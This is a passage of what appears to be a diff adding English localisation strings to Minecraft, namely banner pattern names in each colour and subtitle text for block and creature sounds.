"block.minecraft.banner.gradient_up.magenta": "Magenta Base Gradient", + "block.minecraft.banner.gradient_up.orange": "Orange Base Gradient", + "block.minecraft.banner.gradient_up.white": "White Base Gradient", + "block.minecraft.banner.skull.black": "Black Skull Charge", + "block.minecraft.banner.skull.red": "Red Skull Charge", + "block.minecraft.banner.skull.green": "Green Skull Charge", + "block.minecraft.banner.skull.brown": "Brown Skull Charge", + "block.minecraft.banner.skull.blue": "Blue Skull Charge", + "block.minecraft.banner.skull.purple": "Purple Skull Charge", + "block.minecraft.banner.skull.cyan": "Cyan Skull Charge", + "block.minecraft.banner.skull.light_gray": "Light Gray Skull Charge", + "block.minecraft.banner.skull.gray": "Gray Skull Charge", + "block.minecraft.banner.skull.pink": "Pink Skull Charge", + "block.minecraft.banner.skull.lime": "Lime Skull Charge", + "block.minecraft.banner.skull.yellow": "Yellow Skull Charge", + "block.minecraft.banner.skull.light_blue": "Light Blue Skull Charge", + "block.minecraft.banner.skull.magenta": "Magenta Skull Charge", + "block.minecraft.banner.skull.orange": "Orange Skull Charge", + "block.minecraft.banner.skull.white": "White Skull Charge", + "block.minecraft.banner.flower.black": "Black Flower Charge", + "block.minecraft.banner.flower.red": "Red Flower Charge", + "block.minecraft.banner.flower.green": "Green Flower Charge", + "block.minecraft.banner.flower.brown": "Brown Flower Charge", + "block.minecraft.banner.flower.blue": "Blue Flower Charge", + "block.minecraft.banner.flower.purple": "Purple Flower Charge", + "block.minecraft.banner.flower.cyan": "Cyan Flower Charge", + "block.minecraft.banner.flower.light_gray": "Light Gray Flower Charge", + "block.minecraft.banner.flower.gray": "Gray Flower Charge", + "block.minecraft.banner.flower.pink": "Pink Flower Charge", + "block.minecraft.banner.flower.lime": "Lime Flower Charge", + "block.minecraft.banner.flower.yellow": "Yellow Flower Charge", + "block.minecraft.banner.flower.light_blue": "Light Blue Flower Charge", + "block.minecraft.banner.flower.magenta": "Magenta Flower Charge", + "block.minecraft.banner.flower.orange": "Orange Flower Charge", + "block.minecraft.banner.flower.white": "White Flower Charge", + "block.minecraft.banner.border.black": "Black Bordure", + "block.minecraft.banner.border.red": "Red Bordure", + "block.minecraft.banner.border.green": "Green Bordure", + "block.minecraft.banner.border.brown": "Brown Bordure", + "block.minecraft.banner.border.blue": "Blue Bordure", + "block.minecraft.banner.border.purple": "Purple Bordure", + "block.minecraft.banner.border.cyan": "Cyan Bordure", + "block.minecraft.banner.border.light_gray": "Light Gray Bordure", + "block.minecraft.banner.border.gray": "Gray Bordure", + "block.minecraft.banner.border.pink": "Pink Bordure", + "block.minecraft.banner.border.lime": "Lime Bordure", + "block.minecraft.banner.border.yellow": "Yellow Bordure", + "block.minecraft.banner.border.light_blue": "Light Blue Bordure", + "block.minecraft.banner.border.magenta": "Magenta Bordure", + "block.minecraft.banner.border.orange": "Orange Bordure", + "block.minecraft.banner.border.white": "White Bordure", + "block.minecraft.banner.curly_border.black": "Black Bordure Indented", + "block.minecraft.banner.curly_border.red": "Red Bordure Indented", + "block.minecraft.banner.curly_border.green": "Green Bordure Indented", + "block.minecraft.banner.curly_border.brown": "Brown Bordure Indented", + "block.minecraft.banner.curly_border.blue": "Blue Bordure Indented", + "block.minecraft.banner.curly_border.purple": "Purple Bordure Indented", + "block.minecraft.banner.curly_border.cyan": "Cyan Bordure Indented", + "block.minecraft.banner.curly_border.light_gray": "Light Gray Bordure Indented", + "block.minecraft.banner.curly_border.gray": "Gray Bordure Indented", + "block.minecraft.banner.curly_border.pink": "Pink Bordure Indented", + "block.minecraft.banner.curly_border.lime": "Lime Bordure Indented", + "block.minecraft.banner.curly_border.yellow": "Yellow Bordure Indented", + "block.minecraft.banner.curly_border.light_blue": "Light Blue Bordure Indented", + "block.minecraft.banner.curly_border.magenta": "Magenta Bordure Indented", + "block.minecraft.banner.curly_border.orange": "Orange Bordure Indented", + "block.minecraft.banner.curly_border.white": "White Bordure Indented", + "block.minecraft.banner.mojang.black": "Black Thing", + "block.minecraft.banner.mojang.red": "Red Thing", + "block.minecraft.banner.mojang.green": "Green Thing", + "block.minecraft.banner.mojang.brown": "Brown Thing", + "block.minecraft.banner.mojang.blue": "Blue Thing", + "block.minecraft.banner.mojang.purple": "Purple Thing", + "block.minecraft.banner.mojang.cyan": "Cyan Thing", + "block.minecraft.banner.mojang.light_gray": "Light Gray Thing", + "block.minecraft.banner.mojang.gray": "Gray Thing", + "block.minecraft.banner.mojang.pink": "Pink Thing", + "block.minecraft.banner.mojang.lime": "Lime Thing", + "block.minecraft.banner.mojang.yellow": "Yellow Thing", + "block.minecraft.banner.mojang.light_blue": "Light Blue Thing", + "block.minecraft.banner.mojang.magenta": "Magenta Thing", + "block.minecraft.banner.mojang.orange": "Orange Thing", + "block.minecraft.banner.mojang.white": "White Thing", + "block.minecraft.banner.straight_cross.black": "Black Cross", + "block.minecraft.banner.straight_cross.red": "Red Cross", + "block.minecraft.banner.straight_cross.green": "Green Cross", + "block.minecraft.banner.straight_cross.brown": "Brown Cross", + "block.minecraft.banner.straight_cross.blue": "Blue Cross", + "block.minecraft.banner.straight_cross.purple": "Purple Cross", + "block.minecraft.banner.straight_cross.cyan": "Cyan Cross", + "block.minecraft.banner.straight_cross.light_gray": "Light Gray Cross", + "block.minecraft.banner.straight_cross.gray": "Gray Cross", + "block.minecraft.banner.straight_cross.pink": "Pink Cross", + "block.minecraft.banner.straight_cross.lime": "Lime Cross", + "block.minecraft.banner.straight_cross.yellow": "Yellow Cross", + "block.minecraft.banner.straight_cross.light_blue": "Light Blue Cross", + "block.minecraft.banner.straight_cross.magenta": "Magenta Cross", + "block.minecraft.banner.straight_cross.orange": "Orange Cross", + "block.minecraft.banner.straight_cross.white": "White Cross", + "block.minecraft.banner.globe.black": "Black Globe", + "block.minecraft.banner.globe.red": "Red Globe", + "block.minecraft.banner.globe.green": "Green Globe", + "block.minecraft.banner.globe.brown": "Brown Globe", + "block.minecraft.banner.globe.blue": "Blue Globe", + "block.minecraft.banner.globe.purple": "Purple Globe", + "block.minecraft.banner.globe.cyan": "Cyan Globe", + "block.minecraft.banner.globe.light_gray": "Light Gray Globe", + "block.minecraft.banner.globe.gray": "Gray Globe", + "block.minecraft.banner.globe.pink": "Pink Globe", + "block.minecraft.banner.globe.lime": "Lime Globe", + "block.minecraft.banner.globe.yellow": "Yellow Globe", + "block.minecraft.banner.globe.light_blue": "Light Blue Globe", + "block.minecraft.banner.globe.magenta": "Magenta Globe", + "block.minecraft.banner.globe.orange": "Orange Globe", + "block.minecraft.banner.globe.white": "White Globe", + "block.minecraft.banner.piglin.black": "Black Snout", + "block.minecraft.banner.piglin.red": "Red Snout", + "block.minecraft.banner.piglin.green": "Green Snout", + "block.minecraft.banner.piglin.brown": "Brown Snout", + "block.minecraft.banner.piglin.blue": "Blue Snout", + "block.minecraft.banner.piglin.purple": "Purple Snout", + "block.minecraft.banner.piglin.cyan": "Cyan Snout", + "block.minecraft.banner.piglin.light_gray": "Light Gray Snout", + "block.minecraft.banner.piglin.gray": "Gray Snout", + "block.minecraft.banner.piglin.pink": "Pink Snout", + "block.minecraft.banner.piglin.lime": "Lime Snout", + "block.minecraft.banner.piglin.yellow": "Yellow Snout", + "block.minecraft.banner.piglin.light_blue": "Light Blue Snout", + "block.minecraft.banner.piglin.magenta": "Magenta Snout", + "block.minecraft.banner.piglin.orange": "Orange Snout", + "block.minecraft.banner.piglin.white": "White Snout", + "subtitles.ambient.cave": "Eerie noise", + "subtitles.block.anvil.destroy": "Anvil destroyed", + "subtitles.block.anvil.land": "Anvil landed", + "subtitles.block.anvil.use": "Anvil used", + "subtitles.block.barrel.close": "Barrel closes", + "subtitles.block.barrel.open": "Barrel opens", + "subtitles.block.beacon.activate": "Beacon activates", + "subtitles.block.beacon.ambient": "Beacon hums", + "subtitles.block.beacon.deactivate": "Beacon deactivates", + "subtitles.block.beacon.power_select": "Beacon power selected", + "subtitles.block.beehive.drip": "Honey drips", + "subtitles.block.beehive.enter": "Bee enters hive", + "subtitles.block.beehive.exit": "Bee leaves hive", + "subtitles.block.beehive.shear": "Shears scrape", + "subtitles.block.beehive.work": "Bees work", + "subtitles.block.bell.resonate": "Bell resonates", + "subtitles.block.bell.use": "Bell rings", + "subtitles.block.blastfurnace.fire_crackle": "Blast Furnace crackles", + "subtitles.block.brewing_stand.brew": "Brewing Stand bubbles", + "subtitles.block.bubble_column.bubble_pop": "Bubbles pop", + "subtitles.block.bubble_column.upwards_ambient": "Bubbles flow", + "subtitles.block.bubble_column.upwards_inside": "Bubbles woosh", + "subtitles.block.bubble_column.whirlpool_ambient": "Bubbles whirl", + "subtitles.block.bubble_column.whirlpool_inside": "Bubbles zoom", + "subtitles.block.button.click": "Button clicks", + "subtitles.block.campfire.crackle": "Campfire crackles", + "subtitles.block.chest.close": "Chest closes", + "subtitles.block.chest.locked": "Chest locked", + "subtitles.block.chest.open": "Chest opens", + "subtitles.block.chorus_flower.death": "Chorus Flower withers", + "subtitles.block.chorus_flower.grow": "Chorus Flower grows", + "subtitles.block.comparator.click": "Comparator clicks", + "subtitles.block.composter.empty": "Composter emptied", + "subtitles.block.composter.fill": "Composter filled", + "subtitles.block.composter.ready": "Composter composts", + "subtitles.block.conduit.activate": "Conduit activates", + "subtitles.block.conduit.ambient": "Conduit pulses", + "subtitles.block.conduit.attack.target": "Conduit attacks", + "subtitles.block.conduit.deactivate": "Conduit deactivates", + "subtitles.block.dispenser.dispense": "Dispensed item", + "subtitles.block.dispenser.fail": "Dispenser failed", + "subtitles.block.door.toggle": "Door creaks", + "subtitles.block.enchantment_table.use": "Enchanting Table used", + "subtitles.block.end_portal.spawn": "End Portal opens", + "subtitles.block.end_portal_frame.fill": "Eye of Ender attaches", + "subtitles.block.fence_gate.toggle": "Fence Gate creaks", + "subtitles.block.fire.ambient": "Fire crackles", + "subtitles.block.fire.extinguish": "Fire extinguished", + "subtitles.block.furnace.fire_crackle": "Furnace crackles", + "subtitles.block.generic.break": "Block broken", + "subtitles.block.generic.footsteps": "Footsteps", + "subtitles.block.generic.hit": "Block breaking", + "subtitles.block.generic.place": "Block placed", + "subtitles.block.grindstone.use": "Grindstone used", + "subtitles.block.honey_block.slide": "Sliding down a honey block", + "subtitles.block.iron_trapdoor.close": "Trapdoor closes", + "subtitles.block.iron_trapdoor.open": "Trapdoor opens", + "subtitles.block.lava.ambient": "Lava pops", + "subtitles.block.lava.extinguish": "Lava hisses", + "subtitles.block.lever.click": "Lever clicks", + "subtitles.block.note_block.note": "Note Block plays", + "subtitles.block.piston.move": "Piston moves", + "subtitles.block.portal.ambient": "Portal whooshes", + "subtitles.block.portal.travel": "Portal noise fades", + "subtitles.block.portal.trigger": "Portal noise intensifies", + "subtitles.block.pressure_plate.click": "Pressure Plate clicks", + "subtitles.block.pumpkin.carve": "Shears carve", + "subtitles.block.redstone_torch.burnout": "Torch fizzes", + "subtitles.block.respawn_anchor.ambient": "Portal whooshes", + "subtitles.block.respawn_anchor.charge": "Respawn Anchor is charged", + "subtitles.block.respawn_anchor.deplete": "Respawn Anchor depletes", + "subtitles.block.respawn_anchor.set_spawn": "Respawn Anchor sets spawn", + "subtitles.block.shulker_box.close": "Shulker closes", + "subtitles.block.shulker_box.open": "Shulker opens", + "subtitles.block.smithing_table.use": "Smithing Table used", + "subtitles.block.smoker.smoke": "Smoker smokes", + "subtitles.block.trapdoor.toggle": "Trapdoor creaks", + "subtitles.block.tripwire.attach": "Tripwire attaches", + "subtitles.block.tripwire.click": "Tripwire clicks", + "subtitles.block.tripwire.detach": "Tripwire detaches", + "subtitles.block.water.ambient": "Water flows", + "subtitles.enchant.thorns.hit": "Thorns prick", + "subtitles.entity.armor_stand.fall": "Something fell", + "subtitles.entity.arrow.hit": "Arrow hits", + "subtitles.entity.arrow.hit_player": "Player hit", + "subtitles.entity.arrow.shoot": "Arrow fired", + "subtitles.entity.bat.ambient": "Bat screeches", + "subtitles.entity.bat.death": "Bat dies", + "subtitles.entity.bat.hurt": "Bat hurts", + "subtitles.entity.bat.takeoff": "Bat takes off", + "subtitles.entity.bee.ambient": "Bee buzzes", + "subtitles.entity.bee.death": "Bee dies", + "subtitles.entity.bee.hurt": "Bee hurts", + "subtitles.entity.bee.loop": "Bee buzzes", + "subtitles.entity.bee.loop_aggressive": "Bee buzzes angrily", + "subtitles.entity.bee.pollinate": "Bee buzzes happily", + "subtitles.entity.bee.sting": "Bee stings", + "subtitles.entity.blaze.ambient": "Blaze breathes", + "subtitles.entity.blaze.burn": "Blaze crackles", + "subtitles.entity.blaze.death": "Blaze dies", + "subtitles.entity.blaze.hurt": "Blaze hurts", + "subtitles.entity.blaze.shoot": "Blaze shoots", + "subtitles.entity.boat.paddle_land": "Rowing", + "subtitles.entity.boat.paddle_water": "Rowing", + "subtitles.entity.cat.ambient": "Cat meows", + "subtitles.entity.cat.beg_for_food": "Cat begs", + "subtitles.entity.cat.death": "Cat dies", + "subtitles.entity.cat.eat": "Cat eats", + "subtitles.entity.cat.hiss": "Cat hisses", + "subtitles.entity.cat.hurt": "Cat hurts", + "subtitles.entity.cat.purr": "Cat purrs", + "subtitles.entity.chicken.ambient": "Chicken clucks", + "subtitles.entity.chicken.death": "Chicken dies", + "subtitles.entity.chicken.egg": "Chicken plops", + "subtitles.entity.chicken.hurt": "Chicken hurts", + "subtitles.entity.cod.death": "Cod dies", + "subtitles.entity.cod.flop": "Cod flops", + "subtitles.entity.cod.hurt": "Cod hurts", + "subtitles.entity.cow.ambient": "Cow moos", + "subtitles.entity.cow.death": "Cow dies", + "subtitles.entity.cow.hurt": "Cow hurts", + "subtitles.entity.cow.milk": "Cow gets milked", + "subtitles.entity.creeper.death": "Creeper dies", + "subtitles.entity.creeper.hurt": "Creeper hurts", + "subtitles.entity.creeper.primed": "Creeper hisses", + "subtitles.entity.dolphin.ambient": "Dolphin chirps", + "subtitles.entity.dolphin.ambient_water": "Dolphin whistles", + "subtitles.entity.dolphin.attack": "Dolphin attacks", + "subtitles.entity.dolphin.death": "Dolphin dies", + "subtitles.entity.dolphin.eat": "Dolphin eats", + "subtitles.entity.dolphin.hurt": "Dolphin hurts", + "subtitles.entity.dolphin.jump": "Dolphin jumps", + "subtitles.entity.dolphin.play": "Dolphin plays", + "subtitles.entity.dolphin.splash": "Dolphin splashes", + "subtitles.entity.dolphin.swim": "Dolphin swims", + "subtitles.entity.donkey.ambient": "Donkey hee-haws", + "subtitles.entity.donkey.angry": "Donkey neighs", + "subtitles.entity.donkey.chest": "Donkey Chest equips", + "subtitles.entity.donkey.death": "Donkey dies", + "subtitles.entity.donkey.eat": "Donkey eats", + "subtitles.entity.donkey.hurt": "Donkey hurts", + "subtitles.entity.drowned.ambient": "Drowned gurgles", + "subtitles.entity.drowned.ambient_water": "Drowned gurgles", + "subtitles.entity.drowned.death": "Drowned dies", + "subtitles.entity.drowned.hurt": "Drowned hurts", + "subtitles.entity.drowned.shoot": "Drowned throws Trident", + "subtitles.entity.drowned.step": "Drowned steps", + "subtitles.entity.drowned.swim": "Drowned swims", + "subtitles.entity.egg.throw": "Egg flies", + "subtitles.entity.elder_guardian.ambient": "Elder Guardian moans", + "subtitles.entity.elder_guardian.ambient_land": "Elder Guardian flaps", + "subtitles.entity.elder_guardian.curse": "Elder Guardian curses", + "subtitles.entity.elder_guardian.death": "Elder Guardian dies", + "subtitles.entity.elder_guardian.flop": "Elder Guardian flops", + "subtitles.entity.elder_guardian.hurt": "Elder Guardian hurts", + "subtitles.entity.ender_dragon.ambient": "Dragon roars", + "subtitles.entity.ender_dragon.death": "Dragon dies", + "subtitles.entity.ender_dragon.flap": "Dragon flaps", + "subtitles.entity.ender_dragon.growl": "Dragon growls", + "subtitles.entity.ender_dragon.hurt": "Dragon hurts", + "subtitles.entity.ender_dragon.shoot": "Dragon shoots", + "subtitles.entity.ender_eye.death": "Eye of Ender falls", + "subtitles.entity.ender_eye.launch": "Eye of Ender shoots", + "subtitles.entity.ender_pearl.throw": "Ender Pearl flies", + "subtitles.entity.enderman.ambient": "Enderman vwoops", + "subtitles.entity.enderman.death": "Enderman dies", + "subtitles.entity.enderman.hurt": "Enderman hurts", + "subtitles.entity.enderman.stare": "Enderman cries out", + "subtitles.entity.enderman.teleport": "Enderman teleports", + "subtitles.entity.endermite.ambient": "Endermite scuttles", + "subtitles.entity.endermite.death": "Endermite dies", + "subtitles.entity.endermite.hurt": "Endermite hurts", + "subtitles.entity.evoker.ambient": "Evoker murmurs", + "subtitles.entity.evoker.cast_spell": "Evoker casts spell", + "subtitles.entity.evoker.celebrate": "Evoker cheers", + "subtitles.entity.evoker.death": "Evoker dies", + "subtitles.entity.evoker.hurt": "Evoker hurts", + "subtitles.entity.evoker.prepare_attack": "Evoker prepares attack", + "subtitles.entity.evoker.prepare_summon": "Evoker prepares summoning", + "subtitles.entity.evoker.prepare_wololo": "Evoker prepares charming", + "subtitles.entity.evoker_fangs.attack": "Fangs snap", + "subtitles.entity.experience_orb.pickup": "Experience gained", + "subtitles.entity.firework_rocket.blast": "Firework blasts", + "subtitles.entity.firework_rocket.launch": "Firework launches", + "subtitles.entity.firework_rocket.twinkle": "Firework twinkles", + "subtitles.entity.fishing_bobber.retrieve": "Bobber retrieved", + "subtitles.entity.fishing_bobber.splash": "Fishing Bobber splashes", + "subtitles.entity.fishing_bobber.throw": "Bobber thrown", + "subtitles.entity.fox.aggro": "Fox angers", + "subtitles.entity.fox.ambient": "Fox squeaks", + "subtitles.entity.fox.bite": "Fox bites", + "subtitles.entity.fox.death": "Fox dies", + "subtitles.entity.fox.eat": "Fox eats", + "subtitles.entity.fox.hurt": "Fox hurts", + "subtitles.entity.fox.screech": "Fox screeches", + "subtitles.entity.fox.sleep": "Fox snores", + "subtitles.entity.fox.sniff": "Fox sniffs", + "subtitles.entity.fox.spit": "Fox spits", + "subtitles.entity.fox.teleport": "Fox teleports", + "subtitles.entity.generic.big_fall": "Something fell", + "subtitles.entity.generic.burn": "Burning", + "subtitles.entity.generic.death": "Dying", + "subtitles.entity.generic.drink": "Sipping", + "subtitles.entity.generic.eat": "Eating", + "subtitles.entity.generic.explode": "Explosion", + "subtitles.entity.generic.extinguish_fire": "Fire extinguishes", + "subtitles.entity.generic.hurt": "Something hurts", + "subtitles.entity.generic.small_fall": "Something trips", + "subtitles.entity.generic.splash": "Splashing", + "subtitles.entity.generic.swim": "Swimming", + "subtitles.entity.ghast.ambient": "Ghast cries", + "subtitles.entity.ghast.death": "Ghast dies", + "subtitles.entity.ghast.hurt": "Ghast hurts", + "subtitles.entity.ghast.shoot": "Ghast shoots", + "subtitles.entity.guardian.ambient": "Guardian moans", + "subtitles.entity.guardian.ambient_land": "Guardian flaps", + "subtitles.entity.guardian.attack": "Guardian shoots", + "subtitles.entity.guardian.death": "Guardian dies", + "subtitles.entity.guardian.flop": "Guardian flops", + "subtitles.entity.guardian.hurt": "Guardian hurts", + "subtitles.entity.hoglin.ambient": "Hoglin growls", + "subtitles.entity.hoglin.angry": "Hoglin growls angrily", + "subtitles.entity.hoglin.attack": "Hoglin attacks", + "subtitles.entity.hoglin.converted_to_zombified": "Hoglin converts to Zoglin", + "subtitles.entity.hoglin.death": "Hoglin dies", + "subtitles.entity.hoglin.hurt": "Hoglin hurts", + "subtitles.entity.hoglin.retreat": "Hoglin retreats", + "subtitles.entity.hoglin.step": "Hoglin steps", + "subtitles.entity.horse.ambient": "Horse neighs", + "subtitles.entity.horse.angry": "Horse neighs", + "subtitles.entity.horse.armor": "Horse armor equips", + "subtitles.entity.horse.breathe": "Horse breathes", + "subtitles.entity.horse.death": "Horse dies", + "subtitles.entity.horse.eat": "Horse eats", + "subtitles.entity.horse.gallop": "Horse gallops", + "subtitles.entity.horse.hurt": "Horse hurts", + "subtitles.entity.horse.jump": "Horse jumps", + "subtitles.entity.horse.saddle": "Saddle equips", + "subtitles.entity.husk.ambient": "Husk groans", + "subtitles.entity.husk.converted_to_zombie": "Husk converts to Zombie", + "subtitles.entity.husk.death": "Husk dies", + "subtitles.entity.husk.hurt": "Husk hurts", + "subtitles.entity.illusioner.ambient": "Illusioner murmurs", + "subtitles.entity.illusioner.cast_spell": "Illusioner casts spell", + "subtitles.entity.illusioner.death": "Illusioner dies", + "subtitles.entity.illusioner.hurt": "Illusioner hurts", + "subtitles.entity.illusioner.mirror_move": "Illusioner displaces", + "subtitles.entity.illusioner.prepare_blindness": "Illusioner prepares blindness", + "subtitles.entity.illusioner.prepare_mirror": "Illusioner prepares mirror image", + "subtitles.entity.iron_golem.attack": "Iron Golem attacks", + "subtitles.entity.iron_golem.damage": "Iron Golem breaks", + "subtitles.entity.iron_golem.death": "Iron Golem dies", + "subtitles.entity.iron_golem.hurt": "Iron Golem hurts", + "subtitles.entity.iron_golem.repair": "Iron Golem repaired", + "subtitles.entity.item.break": "Item breaks", + "subtitles.entity.item.pickup": "Item plops", + "subtitles.entity.item_frame.add_item": "Item Frame fills", + "subtitles.entity.item_frame.break": "Item Frame breaks", + "subtitles.entity.item_frame.place": "Item Frame placed", + "subtitles.entity.item_frame.remove_item": "Item Frame empties", + "subtitles.entity.item_frame.rotate_item": "Item Frame clicks", + "subtitles.entity.leash_knot.break": "Leash knot breaks", + "subtitles.entity.leash_knot.place": "Leash knot tied", + "subtitles.entity.lightning_bolt.impact": "Lightning strikes", + "subtitles.entity.lightning_bolt.thunder": "Thunder roars", + "subtitles.entity.llama.ambient": "Llama bleats", + "subtitles.entity.llama.angry": "Llama bleats angrily", + "subtitles.entity.llama.chest": "Llama Chest equips", + "subtitles.entity.llama.death": "Llama dies", + "subtitles.entity.llama.eat": "Llama eats", + "subtitles.entity.llama.hurt": "Llama hurts", + "subtitles.entity.llama.spit": "Llama spits", + "subtitles.entity.llama.step": "Llama steps", + "subtitles.entity.llama.swag": "Llama is decorated", + "subtitles.entity.magma_cube.death": "Magma Cube dies", + "subtitles.entity.magma_cube.hurt": "Magma Cube hurts", + "subtitles.entity.magma_cube.squish": "Magma Cube squishes", + "subtitles.entity.minecart.riding": "Minecart rolls", + "subtitles.entity.mooshroom.convert": "Mooshroom transforms", + "subtitles.entity.mooshroom.eat": "Mooshroom eats", + "subtitles.entity.mooshroom.milk": "Mooshroom gets milked", + "subtitles.entity.mooshroom.suspicious_milk": "Mooshroom gets milked suspiciously", + "subtitles.entity.mule.ambient": "Mule hee-haws", + "subtitles.entity.mule.angry": "Mule neighs", + "subtitles.entity.mule.chest": "Mule Chest equips", + "subtitles.entity.mule.death": "Mule dies", + "subtitles.entity.mule.eat": "Mule eats", + "subtitles.entity.mule.hurt": "Mule hurts", + "subtitles.entity.painting.break": "Painting breaks", + "subtitles.entity.painting.place": "Painting placed", + "subtitles.entity.panda.aggressive_ambient": "Panda huffs", + "subtitles.entity.panda.ambient": "Panda pants", + "subtitles.entity.panda.bite": "Panda bites", + "subtitles.entity.panda.cant_breed": "Panda bleats", + "subtitles.entity.panda.death": "Panda dies", + "subtitles.entity.panda.eat": "Panda eats", + "subtitles.entity.panda.hurt": "Panda hurts", + "subtitles.entity.panda.pre_sneeze": "Panda's nose tickles", + "subtitles.entity.panda.sneeze": "Panda sneezes", + "subtitles.entity.panda.step": "Panda steps", + "subtitles.entity.panda.worried_ambient": "Panda whimpers", + "subtitles.entity.parrot.ambient": "Parrot talks", + "subtitles.entity.parrot.death": "Parrot dies", + "subtitles.entity.parrot.eats": "Parrot eats", + "subtitles.entity.parrot.fly": "Parrot flutters", + "subtitles.entity.parrot.hurts": "Parrot hurts", + "subtitles.entity.parrot.imitate.blaze": "Parrot breathes", + "subtitles.entity.parrot.imitate.creeper": "Parrot hisses", + "subtitles.entity.parrot.imitate.drowned": "Parrot gurgles", + "subtitles.entity.parrot.imitate.elder_guardian": "Parrot flaps", + "subtitles.entity.parrot.imitate.ender_dragon": "Parrot roars", + "subtitles.entity.parrot.imitate.endermite": "Parrot scuttles", + "subtitles.entity.parrot.imitate.evoker": "Parrot murmurs", + "subtitles.entity.parrot.imitate.ghast": "Parrot cries", + "subtitles.entity.parrot.imitate.guardian": "Parrot moans", + "subtitles.entity.parrot.imitate.hoglin": "Parrot growls", + "subtitles.entity.parrot.imitate.husk": "Parrot groans", + "subtitles.entity.parrot.imitate.illusioner": "Parrot murmurs", + "subtitles.entity.parrot.imitate.magma_cube": "Parrot squishes", + "subtitles.entity.parrot.imitate.phantom": "Parrot screeches", + "subtitles.entity.parrot.imitate.piglin": "Parrot snorts", + "subtitles.entity.parrot.imitate.piglin_brute": "Parrot snorts mightily", + "subtitles.entity.parrot.imitate.pillager": "Parrot murmurs", + "subtitles.entity.parrot.imitate.ravager": "Parrot grunts", + "subtitles.entity.parrot.imitate.shulker": "Parrot lurks", + "subtitles.entity.parrot.imitate.silverfish": "Parrot hisses", + "subtitles.entity.parrot.imitate.skeleton": "Parrot rattles", + "subtitles.entity.parrot.imitate.slime": "Parrot squishes", + "subtitles.entity.parrot.imitate.spider": "Parrot hisses", + "subtitles.entity.parrot.imitate.stray": "Parrot rattles", + "subtitles.entity.parrot.imitate.vex": "Parrot vexes", + "subtitles.entity.parrot.imitate.vindicator": "Parrot mutters", + "subtitles.entity.parrot.imitate.witch": "Parrot giggles", + "subtitles.entity.parrot.imitate.wither": "Parrot angers", + "subtitles.entity.parrot.imitate.wither_skeleton": "Parrot rattles", + "subtitles.entity.parrot.imitate.zoglin": "Parrot growls", + "subtitles.entity.parrot.imitate.zombie": "Parrot groans", + "subtitles.entity.parrot.imitate.zombie_villager": "Parrot groans", + "subtitles.entity.phantom.ambient": "Phantom screeches", + "subtitles.entity.phantom.bite": "Phantom bites", + "subtitles.entity.phantom.death": "Phantom dies", + "subtitles.entity.phantom.flap": "Phantom flaps", + "subtitles.entity.phantom.hurt": "Phantom hurts", + "subtitles.entity.phantom.swoop": "Phantom swoops", + "subtitles.entity.pig.ambient": "Pig oinks", + "subtitles.entity.pig.death": "Pig dies", + "subtitles.entity.pig.hurt": "Pig hurts", + "subtitles.entity.pig.saddle": "Saddle equips", + "subtitles.entity.piglin.admiring_item": "Piglin admires item", + "subtitles.entity.piglin.ambient": "Piglin snorts", + "subtitles.entity.piglin.angry": "Piglin snorts angrily", + "subtitles.entity.piglin.celebrate": "Piglin celebrates", + "subtitles.entity.piglin.converted_to_zombified": "Piglin converts to Zombified Piglin", + "subtitles.entity.piglin.death": "Piglin dies", + "subtitles.entity.piglin.hurt": "Piglin hurts", + "subtitles.entity.piglin.jealous": "Piglin snorts enviously", + "subtitles.entity.piglin.retreat": "Piglin retreats", + "subtitles.entity.piglin.step": "Piglin steps", + "subtitles.entity.piglin_brute.ambient": "Piglin Brute snorts", + "subtitles.entity.piglin_brute.angry": "Piglin Brute snorts angrily", + "subtitles.entity.piglin_brute.death": "Piglin Brute dies", + "subtitles.entity.piglin_brute.hurt": "Piglin Brute hurts", + "subtitles.entity.piglin_brute.step": "Piglin Brute steps", + "subtitles.entity.piglin_brute.converted_to_zombified": "Piglin Brute converts to Zombified Piglin", + "subtitles.entity.pillager.ambient": "Pillager murmurs", + "subtitles.entity.pillager.celebrate": "Pillager cheers", + "subtitles.entity.pillager.death": "Pillager dies", + "subtitles.entity.pillager.hurt": "Pillager hurts", + "subtitles.entity.player.attack.crit": "Critical attack", + "subtitles.entity.player.attack.knockback": "Knockback attack", + "subtitles.entity.player.attack.strong": "Strong attack", + "subtitles.entity.player.attack.sweep": "Sweeping attack", + "subtitles.entity.player.attack.weak": "Weak attack", + "subtitles.entity.player.burp": "Burp", + "subtitles.entity.player.death": "Player dies", + "subtitles.entity.player.hurt": "Player hurts", + "subtitles.entity.player.hurt_drown": "Player drowning", + "subtitles.entity.player.hurt_on_fire": "Player burns", + "subtitles.entity.player.levelup": "Player dings", + "subtitles.entity.polar_bear.ambient": "Polar Bear groans", + "subtitles.entity.polar_bear.ambient_baby": "Polar Bear hums", + "subtitles.entity.polar_bear.death": "Polar Bear dies", + "subtitles.entity.polar_bear.hurt": "Polar Bear hurts", + "subtitles.entity.polar_bear.warning": "Polar Bear roars", + "subtitles.entity.potion.splash": "Bottle smashes", + "subtitles.entity.potion.throw": "Bottle thrown", + "subtitles.entity.puffer_fish.blow_out": "Pufferfish deflates", + "subtitles.entity.puffer_fish.blow_up": "Pufferfish inflates", + "subtitles.entity.puffer_fish.death": "Pufferfish dies", + "subtitles.entity.puffer_fish.flop": "Pufferfish flops", + "subtitles.entity.puffer_fish.hurt": "Pufferfish hurts", + "subtitles.entity.puffer_fish.sting": "Pufferfish stings", + "subtitles.entity.rabbit.ambient": "Rabbit squeaks", + "subtitles.entity.rabbit.attack": "Rabbit attacks", + "subtitles.entity.rabbit.death": "Rabbit dies", + "subtitles.entity.rabbit.hurt": "Rabbit hurts", + "subtitles.entity.rabbit.jump": "Rabbit hops", + "subtitles.entity.ravager.ambient": "Ravager grunts", + "subtitles.entity.ravager.attack": "Ravager bites", + "subtitles.entity.ravager.celebrate": "Ravager cheers", + "subtitles.entity.ravager.death": "Ravager dies", + "subtitles.entity.ravager.hurt": "Ravager hurts", + "subtitles.entity.ravager.roar": "Ravager roars", + "subtitles.entity.ravager.step": "Ravager steps", + "subtitles.entity.ravager.stunned": "Ravager stunned", + "subtitles.entity.salmon.death": "Salmon dies", + "subtitles.entity.salmon.flop": "Salmon flops", + "subtitles.entity.salmon.hurt": "Salmon hurts", + "subtitles.entity.sheep.ambient": "Sheep baahs", + "subtitles.entity.sheep.death": "Sheep dies", + "subtitles.entity.sheep.hurt": "Sheep hurts", + "subtitles.entity.shulker.ambient": "Shulker lurks", + "subtitles.entity.shulker.close": "Shulker closes", + "subtitles.entity.shulker.death": "Shulker dies", + "subtitles.entity.shulker.hurt": "Shulker hurts", + "subtitles.entity.shulker.open": "Shulker opens", + 